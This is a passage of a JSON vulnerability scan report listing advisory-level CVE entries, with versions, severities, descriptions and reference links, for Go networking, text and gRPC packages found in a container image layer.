], "PublishedDate": "2026-05-07T20:16:42.88Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-39821", "VendorIDs": [ "GO-2026-5026" ], "PkgID": "golang.org/x/net@v0.52.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.52.0", "UID": "1328e6f059faf6ba" }, "InstalledVersion": "v0.52.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39821", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:ab2457fc2ccccc8f9d0490fdf62715fe2ae7801b080154201c13476d3d11c399", "Title": "golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing", "Description": "The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode(\"xn--example-.com\") incorrectly returns the name \"example.com\" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject \"example.com\" but permit \"xn--example-.com\". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name \"example.com\".", "Severity": "HIGH", "CweIDs": [ "CWE-1289" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:30650", "https://access.redhat.com/errata/RHSA-2026:30651", "https://access.redhat.com/errata/RHSA-2026:30853", "https://access.redhat.com/errata/RHSA-2026:30854", "https://access.redhat.com/errata/RHSA-2026:30855", "https://access.redhat.com/errata/RHSA-2026:33155", "https://access.redhat.com/errata/RHSA-2026:33160", "https://access.redhat.com/errata/RHSA-2026:33163", "https://access.redhat.com/errata/RHSA-2026:33173", "https://access.redhat.com/errata/RHSA-2026:33183", "https://access.redhat.com/errata/RHSA-2026:33524", "https://access.redhat.com/errata/RHSA-2026:33531", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:34789", "https://access.redhat.com/errata/RHSA-2026:35826", "https://access.redhat.com/errata/RHSA-2026:35827", "https://access.redhat.com/errata/RHSA-2026:35828", "https://access.redhat.com/errata/RHSA-2026:35829", "https://access.redhat.com/errata/RHSA-2026:35830", "https://access.redhat.com/errata/RHSA-2026:35831", "https://access.redhat.com/errata/RHSA-2026:35993", "https://access.redhat.com/errata/RHSA-2026:35994", "https://access.redhat.com/errata/RHSA-2026:36105", "https://access.redhat.com/errata/RHSA-2026:36167", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:36883", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37435", "https://access.redhat.com/errata/RHSA-2026:37436", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42048", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:44624", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51341", "https://access.redhat.com/errata/RHSA-2026:52826", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54395", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54580", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56143", "https://access.redhat.com/errata/RHSA-2026:56223", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56431", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57541", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59546", "https://access.redhat.com/errata/RHSA-2026:59549", "https://access.redhat.com/errata/RHSA-2026:59562", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61245", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62549", "https://access.redhat.com/errata/RHSA-2026:63134", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65359", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65851", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/errata/RHSA-2026:66432", "https://access.redhat.com/errata/RHSA-2026:67149", "https://access.redhat.com/errata/RHSA-2026:67159", "https://access.redhat.com/errata/RHSA-2026:67160", "https://access.redhat.com/errata/RHSA-2026:67287", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/security/cve/CVE-2026-39821", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/767220", "https://go.dev/issue/78760", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-39821.html", "https://linux.oracle.com/errata/ELSA-2026-66432-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39821", "https://pkg.go.dev/vuln/GO-2026-5026", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39821.json", "https://ubuntu.com/security/notices/USN-8416-1", "https://ubuntu.com/security/notices/USN-8883-1", "https://ubuntu.com/security/notices/USN-8883-2", "https://ubuntu.com/security/notices/USN-8900-1", "https://ubuntu.com/security/notices/USN-8914-1", "https://www.cve.org/CVERecord?id=CVE-2026-39821" ], "PublishedDate": "2026-05-22T16:16:20.41Z", "LastModifiedDate": "2026-09-17T12:18:05.767Z" }, { "VulnerabilityID": "CVE-2026-46600", "VendorIDs": [ "GO-2026-5942" ], "PkgID": "golang.org/x/net@v0.52.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.52.0", "UID": "1328e6f059faf6ba" }, "InstalledVersion": "v0.52.0", "FixedVersion": "0.56.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46600", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:772aad2af92d981d894600ca8934ae957d2c4d54fecdb0b224870370a4ca36b2", "Title": "golang.org/x/net/dns/dnsmessage: golang.org/x/net/dns/dnsmessage: Denial of Service via invalid DNS record parsing", "Description": "Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "bitnami": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46600", "https://go.dev/cl/786345", "https://go.dev/issue/79795", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46600", "https://pkg.go.dev/vuln/GO-2026-5942", "https://www.cve.org/CVERecord?id=CVE-2026-46600" ], "PublishedDate": "2026-07-21T20:17:01.213Z", "LastModifiedDate": "2026-10-24T19:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-78661", "VendorIDs": [ "GO-2026-6860" ], "PkgID": "golang.org/x/net@v0.52.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.52.0", "UID": "1328e6f059faf6ba" }, "InstalledVersion": "v0.52.0", "FixedVersion": "0.62.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78661", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:81cee837c91a78c4eb28b9df4aa2d8419de2cfbc8b51f1d7b7f08a22c11204f2", "Title": "golang.org/x/net/html: golang.org/x/net/html: Denial of Service via crafted HTML input", "Description": "When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as \"a\u003c/x\u003e\") caused O(n^2) allocations and byte copies. Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-78661", "https://go.dev/cl/849365", "https://go.dev/issue/82224", "https://groups.google.com/g/golang-announce/c/sqrs2vTx_Xs", "https://nvd.nist.gov/vuln/detail/CVE-2026-78661", "https://pkg.go.dev/vuln/GO-2026-6860", "https://www.cve.org/CVERecord?id=CVE-2026-78661" ], "PublishedDate": "2026-10-27T22:18:05.93Z", "LastModifiedDate": "2026-11-04T17:17:37.673Z" }, { "VulnerabilityID": "CVE-2026-78669", "VendorIDs": [ "GO-2026-6611" ], "PkgID": "golang.org/x/net@v0.52.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.52.0", "UID": "1328e6f059faf6ba" }, "InstalledVersion": "v0.52.0", "FixedVersion": "0.60.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78669", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:4c20e435bafe3b7cd519792f77f16a8d2632643ee9de13310b64bf6aeb2140c2", "Title": "net/http: net/http/internal/http2: golang.org/x/net/http2: net/http: Denial of Service via excessive HTTP/2 SETTINGS frames", "Description": "A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78669", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81742", "https://go.dev/cl/847186", "https://go.dev/cl/847308", "https://go.dev/issue/81742", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://groups.google.com/g/golang-announce/c/ZPwCyRUuGBs", "https://linux.oracle.com/cve/CVE-2026-78669.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78669", "https://pkg.go.dev/vuln/GO-2026-6611", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78669", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:04.01Z", "LastModifiedDate": "2026-10-09T17:16:49.857Z" }, { "VulnerabilityID": "CVE-2026-56851", "VendorIDs": [ "GO-2026-6629" ], "PkgID": "golang.org/x/text@v0.35.0", "PkgName": "golang.org/x/text", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/text@v0.35.0", "UID": "6e242dec52389829" }, "InstalledVersion": "v0.35.0", "FixedVersion": "0.41.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56851", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:bf1d4ba0223e2b762d85f7a0ad3564e2a5575c992573b5184f5b751daa6fe048", "Title": "golang.org/x/text: golang.org/x/text: Denial of Service via out-of-bounds slice error in Nickname profile", "Description": "The Nickname profile can panic with an out-of-bounds slice error when transforming crafted input into a short destination buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-56851", "https://go.dev/cl/793360", "https://go.dev/issue/80112", "https://nvd.nist.gov/vuln/detail/CVE-2026-56851", "https://pkg.go.dev/vuln/GO-2026-6629", "https://www.cve.org/CVERecord?id=CVE-2026-56851" ], "PublishedDate": "2026-10-07T18:17:20.903Z", "LastModifiedDate": "2026-10-08T21:35:53.89Z" }, { "VulnerabilityID": "CVE-2026-56852", "VendorIDs": [ "GO-2026-5970" ], "PkgID": "golang.org/x/text@v0.35.0", "PkgName": "golang.org/x/text", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/text@v0.35.0", "UID": "6e242dec52389829" }, "InstalledVersion": "v0.35.0", "FixedVersion": "0.39.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56852", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:6d8aa388b8a97fd10986a3b24052ec412aa018c8298d68e963df2157f76c00ba", "Title": "golang.org/x/text: golang.org/x/text: Denial of Service via invalid UTF-8 input", "Description": "A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70201", "https://access.redhat.com/security/cve/CVE-2026-56852", "https://bugzilla.redhat.com/2456335", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2504233", "https://bugzilla.redhat.com/2508234", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456335", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2504233", "https://bugzilla.redhat.com/show_bug.cgi?id=2508234", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2518147", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-17106", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33810", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/10/ALSA-2026-70201.html", "https://errata.rockylinux.org/RLSA-2026:70201", "https://go.dev/cl/794100", "https://go.dev/issue/80142", "https://linux.oracle.com/cve/CVE-2026-56852.html", "https://linux.oracle.com/errata/ELSA-2026-70201.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56852", "https://pkg.go.dev/vuln/GO-2026-5970", "https://www.cve.org/CVERecord?id=CVE-2026-56852" ], "PublishedDate": "2026-07-21T20:17:02.867Z", "LastModifiedDate": "2026-10-24T19:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-84304", "VendorIDs": [ "GHSA-vp52-pcj8-j9qc" ], "PkgID": "google.golang.org/grpc@v1.79.3", "PkgName": "google.golang.org/grpc", "PkgIdentifier": { "PURL": "pkg:golang/google.golang.org/grpc@v1.79.3", "UID": "c1091cf7b3dc9c13" }, "InstalledVersion": "v1.79.3", "FixedVersion": "1.83.1", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84304", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:2682213eacd9f14aea17a521fce5f698d80ebe05530a8aa04e8d3b8a47713dae", "Title": "google.golang.org/grpc: gRPC-Go: Denial of Service via HTTP/2 DATA Frame Fragmentation", "Description": "gRPC-Go is the Go language implementation of gRPC. Prior to 1.83.1, internal/transport/transport.go stores each fragmented HTTP/2 DATA frame as a separate recvMsg in recvBuffer, so millions of one-byte frames can consume disproportionate heap memory even when payload bytes remain within connection and stream flow-control windows. An unauthenticated remote attacker can use concurrent multiplexed streams to exhaust process memory and cause a runtime panic or out-of-memory termination. Receive-buffer compaction is enabled by default and can be controlled temporarily with GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION. This issue is fixed in version 1.83.1.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "azure": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-84304", "https://github.com/grpc/grpc-go", "https://github.com/grpc/grpc-go/commit/7354d9c8debb4bcf2225bf429857078de310c176", "https://github.com/grpc/grpc-go/commit/8cfeca0e1ee5ea0980dcc320e20240fa1079ec77", "https://github.com/grpc/grpc-go/pull/9331", "https://github.com/grpc/grpc-go/pull/9333", "https://github.com/grpc/grpc-go/releases/tag/v1.83.1", "https://github.com/grpc/grpc-go/security/advisories/GHSA-vp52-pcj8-j9qc", "https://nvd.nist.gov/vuln/detail/CVE-2026-84304", "https://www.cve.org/CVERecord?id=CVE-2026-84304" ], "PublishedDate": "2026-09-01T19:17:30.743Z", "LastModifiedDate": "2026-09-09T21:09:13.08Z" }, { "VulnerabilityID": "CVE-2026-84445", "VendorIDs": [ "GHSA-2v4p-qf9q-27wj" ], "PkgID": "google.golang.org/grpc@v1.79.3", "PkgName": "google.golang.org/grpc", "PkgIdentifier": { "PURL": "pkg:golang/google.golang.org/grpc@v1.79.3", "UID": "c1091cf7b3dc9c13" }, "InstalledVersion": "v1.79.3", "FixedVersion": "1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, 1.85.0-dev.0.20260825072537-93e31b48545e", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84445", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:bb406914d7287680773e6adb84ba79ebfd000f4d28ba3a06ca4b1ebec7907ece", "Title": "google.golang.org/grpc: gRPC-Go: Denial of Service via malformed RPC requests", "Description": "gRPC-Go is the Go language implementation of gRPC. Prior to 1.82.2 and 1.83.2, servers created with xds.NewGRPCServer() allow internal/transport/http2_server.go to accept an RPC containing neither the :authority header nor the Host header, while RouteAndProcess in internal/xds/server/routing.go assumes that an authority value exists and indexes the empty slice. A remote client that can complete transport connection establishment can trigger an index-out-of-bounds panic that is not recovered by the per-RPC goroutine and terminates the entire server process. In insecure or ordinary TLS deployments the request can be unauthenticated, while strict mTLS or ALTS deployments require valid transport credentials before the malformed RPC can reach the interceptor. This issue is fixed in versions 1.82.2 and 1.83.2.", "Severity": "HIGH", "CweIDs": [ "CWE-129", "CWE-248" ], "VendorSeverity": { 